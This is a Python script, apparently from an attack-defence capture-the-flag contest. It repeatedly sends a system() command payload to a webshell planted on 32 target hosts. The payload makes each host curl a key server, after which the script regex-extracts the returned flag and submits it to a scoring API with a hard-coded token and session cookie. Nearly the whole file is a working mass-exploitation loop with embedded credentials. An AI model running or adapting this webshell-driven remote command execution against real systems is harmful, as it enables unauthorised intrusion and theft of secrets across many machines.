import requests import re import time
while True: for i in range(1,33): url="http://4.2.{}.1/application/admin/template/webshell.php".format(i) headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1" } data="key=system('curl -k https://192.18.1.253/Getkey/index/index');" try: resp=requests.post(url=url,data=data,headers=headers,timeout=1) flag=resp.text pattern = r'flag\{(.+?)\}' match_obj = re.search(pattern, flag) if match_obj: flag_content = match_obj.group(1) flag='flag{'+flag_content+'}' print(flag) else: print('未找到 flag{} 标记')
url="https://192.18.1.253/api/comp/question/saveAttack" headers={ "Host": "192.18.1.253", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0", "Accept": "application/json, text/plain, */*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "token": "iTE9yCTZVgBOK_PL5380I_nN4H95cMzEP7MDQFNsdWTwlvoYmoe9OoKYnMrWfTFv", "Origin": "https://192.18.1.253", "Connection": "close", "Referer": "https://192.18.1.253/", "Cookie": "think_language=zh-CN; PHPSESSID=7cobrm88u0p4pn2duo37snoss1; token=iTE9yCTZVgBOK_PL5380I_nN4H95cMzEP7MDQFNsdWTwlvoYmoe9OoKYnMrWfTFv", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin" } data="comp_id=5&uanswer={}&id=29&question_id=10364".format(flag)
resp=requests.post(url,headers=headers,data=data,verify=False) print(resp.content.decode('unicode_escape')) except requests.exceptions.Timeout: print("超时") time.sleep(60)
|